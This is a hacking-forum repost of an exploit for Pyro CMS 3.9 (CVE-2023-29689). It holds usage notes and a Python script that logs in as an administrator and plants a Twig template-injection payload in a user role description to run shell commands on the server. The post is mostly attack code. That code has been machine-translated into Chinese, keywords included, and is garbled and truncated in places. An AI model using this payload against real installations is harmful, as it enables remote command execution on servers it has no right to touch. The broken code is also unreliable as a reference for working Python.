H

Pyro CMS 3.9-服务器端模板注入(SSTI)(身份验证)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Pyro CMS 3.9-服务器端模板注入(SSTI)(认证)
#利用作者:丹尼尔马云惹不起马云巴罗斯(@cupc4k3d) - hakai进攻安全
#date: 03/08/2023
#vendor: https://pyrocms.com/
#软件link: https://pyrocms.com/documentation/pyrocms/3.9/getting-started/installation
#脆弱版本: 3.9
#CVE: CVE-2023-29689
#NOTES:您需要一个可以访问/管理特权的用户
#示例用法:
#首先,运行脚本: Python3 CVE-2023-29689.PY
#请按照以下步骤:
#1。输入应用程序URL: http://localhost:8000
#2。输入authentication: [email protected]的电子邮件
#3。输入密码: admin @@ 2023
#4。输入要执行的命令: ID
#命令执行的结果:
#uid=1000(蛋糕)gid=1000(纸杯蛋糕)=1000(纸杯蛋糕)
导入请求
来自BS4进口美丽的小组
从urllib.parse导入urljoin
DEF登录(会话,URL,电子邮件,密码):
login_url=urljoin(url,'/admin/login')
响应=session.get(login_url)
汤=beautifutsoup(响应。
token=soup.find('输入',{'name':'_token'})['value']
有效载荷={
'_token':令牌,
'电子邮件:电子邮件,
'password':密码
}
session.post(login_url,data=有效载荷)
#功能编辑角色1并提取管理用户的描述。
def edit_role_and_extract_description(session,url,命令):
edit_role_url=urljoin(url,'/admin/under/users/角
响应=session.get(edit_role_url)
汤=beautifutsoup(响应。
token=soup.find('输入',{'name':'_token'})['value']
有效载荷={
'_token':令牌,
'name_en':'admin',
'slug':'admin',
'Description_en': f'{{{{['{'{命令}'] | map('system')| join}}}}}}}',
'action':'save_exit'
}
session.post(edit_role_url,data=有效载荷)
#从角色1中提取更新的描述。
响应=session.get(urljoin(url,'/admin/user/users/角色'))
汤=beautifutsoup(响应。
描述=soup.find('td',{'data-title':'description'})。text.strip()
返回描述
def main():
url=输入('输入应用程序URL:')
电子邮件=输入('输入Authentication:'的电子邮件)
密码=输入('输入密码:')
命令=输入('输入要执行的命令:')
使用requests.session()为Session:
登录(会话,URL,电子邮件,密码)
描述=edit_role_and_extract_description(会话,url,命令)
print('\ nresult of Command execution:')
打印(描述)
如果name=='__ -Main __':
主要的()
 
后退
顶部